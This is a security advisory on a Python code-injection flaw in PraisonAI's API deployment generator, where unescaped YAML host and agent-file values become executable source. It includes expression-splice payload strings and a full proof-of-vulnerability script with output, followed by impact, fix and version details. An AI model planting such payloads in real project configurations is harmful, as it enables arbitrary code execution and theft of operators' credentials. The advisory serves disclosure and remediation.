GHSA-79fv-7hq9-w7xg: Code Injection
API deploy code generator embeds unescaped YAML fields into Python source
Summary
PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agentsfile directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.
Technical Details
The vulnerable path starts with deployment configuration parsing. Deploy.fromyaml() reads the operator-supplied agents.yaml, validateagentsyaml() accepts deploy.api.host as a string, and API deployments call startapiserver(self.agentsfile, self.config.api). startapiserver() calls generateapiservercode() and executes the generated Python file with python.
The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:
python def generateapiservercode(agentsfile: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agentfile="{agentsfile}") ... "agentfile": "{agentsfile}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) '''
The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:
text ' + (import("pathlib").Path("poc.txt").writetext("DEPLOYAPIHOSTCODEEXECUTED") and "") + '
The generated startup code then becomes equivalent to:
python app.run( host='' + (import("pathlib").Path("poc.txt").writetext("DEPLOYAPIHOSTCODEEXECUTED") and "") + '', port=8005, debug=False, )
That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.
agentsfile has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agentfile=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.
PoV
The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as main; it also includes a safe-host negative control and the secondary agentsfile route-time interpolation check.
python from pathlib import Path import json import sys import tempfile import types
import yaml
def installstubs(): class FakeApp: def init(self, name): self.name = name
def route(self, args, kwargs): def deco(func): return func
return deco
def run(self, args, kwargs): return None
flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, getjson=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask
flaskcors = types.ModuleType("flaskcors") flaskcors.CORS = lambda app: app sys.modules["flaskcors"] = flaskcors
praisonaimod = types.ModuleType("praisonai")
class FakePraisonAI: def init(self, agentfile): self.agentfile = agentfile
def run(self): return "ok"
praisonaimod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonaimod
def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generateapiservercode from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validateagentsyaml
installstubs()
with tempfile.TemporaryDirectory() as tmp: tmppath = Path(tmp) hostmarker = tmppath / "host-marker.txt" filemarker = tmppath / "agent-file-marker.txt" hostpayload = "' + (import(\"pathlib\").Path(" + repr(str(hostmarker)) + ").writetext(\"DEPLOYAPIHOSTCODEEXECUTED\") and \"\") + '" agentsyaml = tmppath / "agents.yaml" agentsyaml.writetext(yaml.safedump({ "deploy": { "type": "api", "api": {"host": hostpayload, "port": 8005, "authenabled": False}, }, "agents": [{"name": "demo", "role": "demo", "goal": "demo"}], })) parsedconfig = validateagentsyaml(str(agentsyaml))
results = [] for label, config in [ ("safehost", APIConfig(host="127.0.0.1", authenabled=False)), ("malicioushostfromyaml", parsedconfig.api), ]: hostmarker.unlink(missingok=True) code = generateapiservercode("agents.yaml", config) compile(code, f"<generated-{label}>", "exec") exec(code, {"name": "main"}) results.append({ "case": label, "compiled": True, "hostpreservedbyyamlparser": config.host == hostpayload if label.startswith("malicious") else None, "markerexistsafterstartup": hostmarker.exists(), "markercontents": hostmarker.readtext() if hostmarker.exists() else None, "generatedcontainsrawhost": config.host in code, })
filepayload = "\" + (import(\"pathlib\").Path(" + repr(str(filemarker)) + ").writetext(\"DEPLOYAPIAGENTFILECODEEXECUTED\") and \"\") + \"" filemarker.unlink(missingok=True) code = generateapiservercode(filepayload, APIConfig(host="127.0.0.1", authenabled=False)) compile(code, "<generated-agent-file>", "exec") namespace = {"name": "generatedagentfile"} exec(code, namespace) namespace"listagents" results.append({ "case": "maliciousagentfileroutevalue", "compiled": True, "markerexistsafterlistagents": filemarker.exists(), "markercontents": filemarker.readtext() if filemarker.exists() else None, "generatedcontainsrawagentfile": filepayload in code, })
print(json.dumps(results, indent=2)) return 0 if results[1]["markerexistsafterstartup"] and results[2]["markerexistsafterlistagents"] else 1
if name == "main": raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))
PoC
Command used against current source:
sh uv run --with pydantic --with pyyaml python povdeployapiconfiginjection.py /path/to/PraisonAI
Decisive output:
json [ { "case": "safehost", "compiled": true, "hostpreservedbyyamlparser": null, "markerexistsafterstartup": false, "markercontents": null, "generatedcontainsrawhost": true }, { "case": "malicioushostfromyaml", "compiled": true, "hostpreservedbyyamlparser": true, "markerexistsafterstartup": true, "markercontents": "DEPLOYAPIHOSTCODEEXECUTED", "generatedcontainsrawhost": true }, { "case": "maliciousagentfileroutevalue", "compiled": true, "markerexistsafterlistagents": true, "markercontents": "DEPLOYAPIAGENTFILECODEEXECUTED", "generatedcontainsrawagentfile": true } ]
The safehost negative control compiles and evaluates the generated module without a marker side effect. The malicioushostfromyaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The maliciousagentfileroutevalue case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.
Impact
If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.
Suggested Fix
Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agentsfile in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.
Affected Package/Versions
Package: praisonai
Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0
Static sweep:
| Target | Result | | --- | --- | | v4.5.128 | affected; raw agentsfile and config.host interpolation present | | v4.6.58 | affected; raw agentsfile and config.host interpolation present | | v4.6.59 | affected; raw agentsfile and config.host interpolation present | | v4.6.60 | affected; raw agentsfile and config.host interpolation present | | v4.6.62 | affected; raw agentsfile and config.host interpolation present | | v4.6.63 | affected; raw agentsfile and config.host interpolation present | | current 1620b49f | affected; raw agentsfile and config.host interpolation present |
Suggested severity: High
Suggested CVSS v3.1:
text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Suggested CWEs:
- CWE-94: Improper Control of Generation of Code - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code - CWE-116: Improper Encoding or Escaping of Output
Advisory History
The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generateapiservercode() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agentsfile, not unauthenticated request access to the generated API.
This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generateapiservercode().
AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.
References
- src/praisonai/praisonai/deploy/api.py: generateapiservercode() and startapiserver() - src/praisonai/praisonai/deploy/main.py: Deploy.fromyaml() and API/Docker deployment paths - src/praisonai/praisonai/cli/features/deploy.py: CLI deployment handler - GHSA-8444-4fhq-fxpq: prior praisonai deploy --type api generated API server authentication-default issue - GHSA-6rmh-7xcm-cpxj / CVE-2026-44338: prior generated API server authentication issue - CWE-94: https://cwe.mitre.org/data/definitions/94.html - CWE-95: https://cwe.mitre.org/data/definitions/95.html - CWE-116: https://cwe.mitre.org/data/definitions/116.html
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaito a version that resolves this vulnerability.Fixed in 4.6.78 - Compensating control
Change generate_api_server_code() so deployment values are not interpolated directly into generated Python source: safely encode config.host and agents_file with repr() or json.dumps() at every generated site, or load them at runtime from a JSON sidecar, environment variable, or command-line argument.
Event History
Frequently Asked Questions
What conditions are required to exploit this issue?
An attacker needs to cause an operator to use a malicious PraisonAI project or otherwise control values in its deployment configuration. The vulnerable API deployment flow must then be run, causing generated Python server code to execute.
Which inputs can become code injection sources?
The deploy.api.host value in agents.yaml is inserted into generated Python source without safe literal encoding and can execute during generated server startup. An attacker-controlled agents_file path is also embedded in generated route-handler expressions and can provide a route-time injection source.
Are ordinary API deployments affected?
The affected path is the API deployment generator: Deploy.from_yaml() reads agents.yaml, and API deployments call start_api_server(), which generates and runs a Python server file. Exploitation depends on attacker-controlled configuration or project inputs rather than merely having the package installed.
How can teams reduce risk before a fix is available?
Do not run the API deploy flow against untrusted PraisonAI projects or unreviewed agents.yaml files. Restrict who can modify deploy.api.host and the agent file path, and inspect these values for Python-expression-like content before deployment.